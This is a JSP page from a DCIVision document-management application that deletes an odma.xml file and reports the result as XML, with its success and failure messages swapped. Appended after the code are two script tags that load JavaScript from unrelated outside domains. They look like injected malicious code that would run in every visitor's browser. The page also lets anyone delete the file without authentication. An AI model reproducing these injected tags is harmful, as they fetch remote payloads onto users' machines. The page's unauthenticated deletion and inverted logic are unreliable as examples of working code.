<%
/*
 * @(#)checkinDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   deleteOdma.jsp
   delete  the odma.xml
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.4 $
*/ 
%>
<%@ page import="java.io.*" %>
<%
out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
out.println("<!--exmaples : http://localhost:8080/EIP/jsp/odma/deleteOdma.jsp-->"); 
String filePath = null;
try{ 
	String root = application.getRealPath("");
        filePath = root + File.separator + "jsp" + File.separator + "odma" + File.separator + "odma.xml";  	
	boolean success = (new File(filePath )).delete();
	if(!success){
		out.println("<delete fileName=\""+filePath+"\">succed</delete>");
	}else{
		out.println("<delete fileName=\""+filePath+"\">failed</delete>");
	}
}catch(Exception ex){
	out.println("<delete fileName=\""+filePath+"\">error</delete>"); 
} 
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>